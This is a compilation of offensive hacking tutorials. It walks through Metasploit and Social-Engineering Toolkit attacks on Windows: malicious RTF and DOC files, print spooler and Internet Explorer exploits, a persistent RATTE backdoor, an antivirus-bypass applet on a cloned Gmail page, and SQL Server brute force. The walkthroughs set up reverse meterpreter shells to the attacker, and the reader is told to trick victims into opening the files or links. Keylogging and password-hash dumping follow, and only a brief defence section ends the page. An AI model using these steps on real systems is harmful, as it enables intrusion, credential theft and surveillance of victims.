Hack any PC in LAN using MS Office Buffer Overflow Attack

Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)

This module exploits a stack-based buffer overflow in the handling of the ‘pFragments’ shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life

Exploit Targets

1 – Microsoft Office 2002 SP3 English on Windows XP SP3 English

2 – Microsoft Office 2003 SP3 English on Windows XP SP3 English

3 – Microsoft Office 2007 SP0 English on Windows XP SP3 English

4 – Microsoft Office 2007 SP0 English on Windows Vista SP0 English

5 – Microsoft Office 2007 SP0 English on Windows 7 SP0 English

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Msf exploit (ms10_087_rtf_pfragments_bof)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ms10_087_rtf_pfragments_bof)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (ms10_087_rtf_pfragments_bof)>exploit

After we successfully generate the malicious rtf, it will stored on your local computer

/root/.msf4/local/msf.rtf

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.rtf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer

Hacking Windows via MS10-061 Print Spooler Service Impersonation using Metasploit + Backtrack 5

Have you ever seen someone sharing their printer inside a network?? When you're working in an office maybe you will see this everyday, a printer connected to a computer and that computer act as a print server. But this vulnerability didn't discuss about print server, but the service behind printer sharing in Windows. In this tutorial we will try to hack windows via Windows printer sharing service.
This is the definition about this exploit according to metasploit website :
This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes to a directory used by Windows Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof) is periodically scanned and any new .mof files are processed automatically. This is the same technique employed by the Stuxnet code found in the wild.
Maybe you'll become impatient if I write too much about the intro so…let's start the tutorial

Requirement :

1. Metasploit framework

Step by Step :

1. The first step you need to explore your network locations and find printer sharing devices there. Below was my picture when I found one active printer sharing in my network.

2. Yep we've got 1 victim there and now let's prepare our metasploit console by typing msfconsole command, and then use ms11_061 exploit and set up the payload.

3. To view the available switch, use show options command. The picture below was my switch configuration to perform the attack.

Information :

set pname canon --> set up the printer name (see step 1)

set rhost 192.168.8.94 --> IP address that host the printer sharing

set lhost 192.168.8.92 --> attacker local address
(use ifconfig to view your IP)

set lport 443 --> connect back port from victim to our computer

4. Okay, until this step everything we've been set up so nice and ready to attack the victim. Let's run the exploit command to perform the attack and see we can pwned it or not.

5. Yep everything was running so pretty, and then for the last result after waiting for the session:

We owned the machine

Get Admin Privilege of Remote Victim PC using Windows SYSTEM Escalation via KiTrap0D

This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

Exploit Targets

Windows 7

Requirement

Attacker: Kali Linux

Victim PC: Windows 7

First Hack the Victim PC Using Metaspolit (Tutorial How to Hack Remote PC)

Open Kali Linux terminal type msfconsole

Now type Now type use exploit/windows/local/ms10_015_kitrap0d

msf exploit (ms10_015_kitrap0d)>set payload windows/meterpreter/reverse_tcp

msf exploit (ms10_015_kitrap0d)>set lhost 192.168.0.105 (IP of Local Host)

msf exploit (ms10_015_kitrap0d)>set session 1

msf exploit (ms10_015_kitrap0d)>exploit

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

 

Hack Remote Windows PC using Microsoft Office word MS12-027 MSCOMCTL ActiveX Buffer Overflow

This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.

Exploit Targets

MS office 2007 on windows XP SP 2, 3

MS office 2010 on windows 7/SP1

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit (ms12_027_mscomctl_bof)>set payload windows/meterpreter/reverse_tcp
msf exploit (ms12_027_mscomctl_bof)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (ms12_027_mscomctl_bof)>exploit

After we successfully generate the malicious doc File, it will stored on your local computer

/root/.msf4/local/msf.doc

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.doc files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

Hack Remote Windows PC using Ratte Server in Social Engineering Toolkit

Open your backtrack terminal & Type cd /pentest/exploits/set

Now Open Social Engineering Toolkit (SET). /set

Now choose 3, “Third Party Modules”

Now choose 1, “RATTE (Remote Administration Tool Tommy Edition)”

Enter the IP address to connect back on: 192.168.1.2 (IP address of Your PC)

Port RATTE Server should listen on: Press Enter here

Should RATTE be persistent: yes

Use specifix file name: opera.exe

After we successfully generate the malicious exe File, it will stored on your local computer

/src/program_junk/ratteM.exe

Now send your ratteM.exe files to victim, as soon as they download and open it
Start the ratteserver listerner now: yes
Now chosse option 1 List Clients

If the payload been executed successfully, then you will see a new session and the client details. Note down the session number. Enter the session you want to interact with: press 0 here

Now choose option 2 “activate client”

Now you will get a menu with lot of option selects 1, start shell

Bypassing Antivirus using Multi Pyinjector Shell Code Injection in SET Toolkit

Open your backtrack terminal & Type cd /pentest/exploits/set
Now Open Social Engineering Toolkit (SET). /set

Now we will choose option 5, “Update the Social-Engineering Toolkit”

Now we will choose option 1, “Social-Engineering Attacks”

Now we will choose option 2, “Website Attack Vectors”

Now we will choose the option 1 the Java Applet Attack Method

Now we will choose option 2, “Site Cloner”
Are you using NAT/PORT Forwarding: no
Enter the IP address to connect back on: 192.168.1.3 (IP address of Your PC)
Enter the URL to clone: http://www.gmail.com (but you can use any website to run the Java Applet)

Now choose 16 “Multi PyInjector Shellcode Injection”,

Port of the attacker computer. In this example I use port 443
Select the payload you want to deliver via shellcodeexec press enter here

Now again select Port of the attacker computer. In this example I use port 444 and 445
Select the payload you want to deliver via shellcodeexec press enter here

Now it creates the backdoor program, encodes and packs. It creates the website that you want to use and starts up a listening service looking for people to connect. When done, your screen will look like this:

Now an URL you should give to your victim http://192.168.1.3

When the victim open that link in their browser, immediately it will alert a dialog box about digital signature cannot be verified like picture below.

You now have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Hack windows 7 PC using MS11_003 Internet Explorer Exploit

This module exploits a memory corruption vulnerability within Microsoft’s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 ‘mscorie.dll’ module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions with .NET 2.0.50727 installed.

Exploit Targets

0 – Automatic (default)

1 – Internet Explorer 8

2 – Internet Explorer 7

3 – Internet Explorer 6

4 – Debug Target (Crash)

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms11_003_ie_css_import

Msf exploit (ms11_003_ie_css_import)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms11_003_ie_css_import)>set srvhost 192.168.1.4 (This must be an address on the local machine)

Msf exploit (ms11_003_ie_css_import)>set srvport 80 (The local port to listen on default: 8080)

Msf exploit (ms11_003_ie_css_import)>set uripath newhackingvideos.avi (The Url to use for this exploit)

Msf exploit (ms11_003_ie_css_import)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (ms11_003_ie_css_import)>exploit

Now an URL you should give to your victim http://192.168.1.4:80/newhackingvideos.avi

Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Download & Resources Sign up for our newsletter to get the latest updates. View our FREE mini-courses! View our FREE mini-courses! Discounted Boot Camps Attacking MS SQL Server to Gain System Access

All systems and database administrators will agree that password complexity does not go very far when it comes to SQL servers. Whether this is done to keep troubleshooting simple for support staff or it is simply a matter of underestimating the risks, it doesn’t really matter. What matters is that this makes it very easy for an attacker to get full access to the system.
In this attack, we will use a standard install of Linux Kali and the preinstalled Metasploit framework. The target is a Windows XP machine, running a Microsoft SQL Server 2005 instance. The same attack will work on any MS SQL platform and Windows OS, because the weakness in the system here is the password strength, not the environment itself.
Reconnaissance

As in any attack, we will first need to gather intelligence on our target system.
One option is to use tools like NMAP to scan a certain IP range for standard SQL ports.
Command:

Nmap –sT –A –PO 192.168.23.0/24


Metasploit also has the mssql_ping scanner built in. This scanner will identify any Microsoft SQL server in a specific IP range.
Commands:

use auxiliary/scanner/mssql/mssql_ping

set RHOSTS 192.168.23.0/24 (our target IP range)

set THREADS 8

run

Now that we have our target system (192.168.23.100) and some more details on the version of Microsoft SQL server (2005 SP4, TCP port 1433), we can move on to the next step.
Attack

This attack is based on a simple principle. In most cases Microsoft SQL server will be installed in a mixed mode instance. The default user for this is “sa.” Very often a simple password is used for this user. This means it will be relatively easy to brute-force the password, using a dictionary file. These dictionary files can be downloaded or generated. The benefit of generating a customized list is that some tools allow for the manual addition of specific terms such as the software name or vendor that could have been used by the application installer. That would cover, for instance, a password like “Sandstone01″ for the SQL instance running the databases for the application “Sandstone”.
For the attack we will use the built-in tool MSSQL_Login. After specifying the target and a password file, the dictionary attack will begin.

Commands:

use auxiliary/scanner/mssql/mssql_login

Set PASS_FILE /root/passwords.txt (the dictionary file)

Set RHOSTS 192.168.23.100

Set Threads 8

Set verbose false

run

If this step of the attack is successful, the SA password will be found. This by itself can be a valuable piece of information that can allow for the manipulation of the databases. In this attack, however, we will use the SA account to gain access to the underlying Windows operating system.
Exploitation

We can now use this SA password obtained to set up a connection to our target. Kali Linux has a tool built-in named mssql_payload. This tool will allow us to send a payload through port 1433 with our new login credentials. We will use this payload to set up a session between the target and our attacking system.
Commands:

use exploit/windows/mssql/mssql_payload

set RHOST 192.168.23.100 (our target)

set password Password01 (which we have just cracked)

use payload/windows/meterpreter/reverse_tcp (our selected payload)

exploit



Now the fun starts. A session has been opened to our target and from here we have many commands at our disposal. Keep in mind, however, that many antivirus programs will detect, block, and remove the Meterpreter files when they are installed on a target system. From experience, however, I can say that many SQL server administrators disable any form of on-access scanning, to get the most performance out of the databases hosted by the server. If this target only runs, for instance, an overnight virus scan, it will leave plenty of time to attack and gather the data from the system and then leave undetected.
Instead of using the Meterpreter payload, other payloads can be used as well. This is just a matter of running the same commands as above but changing the name of the payload. Payload “generic/shell_bind_tcp,” for instance, will gain command prompt access to the target system.
Privilege Escalation

For many of these commands, we will need to increase our user access level. Tools to create screenshots and keyloggers and tools to extract password hashes will need to run with administrative privileges.
This is made quite easy with the Meterpreter shell. First, we will generate a list of running processes with the “ps” command. We can then use the “migrate” command to migrate to a process with a higher level of system access. In this case that will be the explorer.exe process.
Now there is one extra command we need to use: getsystem. This will give the meterpreter system access to the system which is required by the migrate command. Without this, “insufficient privileges” will be returned when running the migrate process.
Commands:

Ps (this will show the running processes and their corresponding PID’s)

Getsystem (to obtain system privileges)

Migrate 1064 (the explorer.exe PID in this example)


Data Collection

Now that we have full system access, we can use some other tools to gather the data we need.
Command:

Screenshot

Want to learn more?? The InfoSec Institute Web Application Penetration Testing Boot Camp focuses on preparing you for the real world of Web App Pen Testing through extensive lab exercises, thought provoking lectures led by an expert instructor. We review of the entire body of knowledge as it pertains to web application pen testing through a high-energy seminar approach.

The Web Application Penetration Testing course from InfoSec Institute is a totally hands-on learning experience. From the first day to the last day, you will learn the ins and outs of Web App Pen Testing by attending thought provoking lectures led by an expert instructor. Every lecture is directly followed up by a comprehensive lab exercise (we also set up and provide lab workstations so you don't waste valuable class time installing tools and apps). Benefits to you are:

• Get CWAPT Certified
• Learn the Secrets of Web App Pen Testing in a totally hands-on classroom environment
• Learn how to exploit and defend real-world web apps: not just silly sample code
• Complete the 83 Step "Web App Pen Test Methodology", and bring a copy back to work with you
• Learn how perform OWASP Top 10 Assessments: for PCI DSS compliance

VIEW WEB APP PEN TEST

This will create a screenshot of the target and save this as a jpeg file to the local system.

Command:

Run post/windows/capture/keylog_recorder

This will run a keylogger on the target and save the recoded text to a file on the local system. This can be used to obtain web login details, bank accounts and credit card information, etc. Many anti-virus programs, however, can easily pick up this keylogger.

Command:

Migrate 772 (The PID for services.exe)
Run post/windows/gather/hashdump

User passwords in a system are usually stored in the form of one-way hash values. These can be cracked by sheer brute force or by more sophisticated, related attacks, such as dictionary or rainbow table cracking methods. See my article on that topic: “Password Auditing an Active Directory Databases.”
To obtain the hash values from the target system, we will need to migrate to the services.exe process to be able to get the right level of system access.
These values can be used in the many password brute-force tools available, such as Ophcrack and Hashcat.


The Result

In this process of a few relatively easy steps, we have bypassed any possible firewall by using an open SQL Server port and have not only gained full database access, but we have used that to gain full operating system access. The keylogger and extracted password hashes might even gather more useful network details, such as usernames and passwords, to gain further access to other systems.
How to Defend against This attack.

There are a few options to protect a system from this attack. First of all: Use a proper password! No matter what the reason is, a production SQL server should never have a simple SA password that can be brute-forced without much effort. Apart from that, an intrusion detection system or simply monitoring the logs automatically or manually could detect a brute-force attack due to the high amount of failed login attempts. Another method of defense would be to run an active antivirus scan on the system 24/7. In this example, the payload would have been picked up and deleted or quarantined before the attack could compromise any data.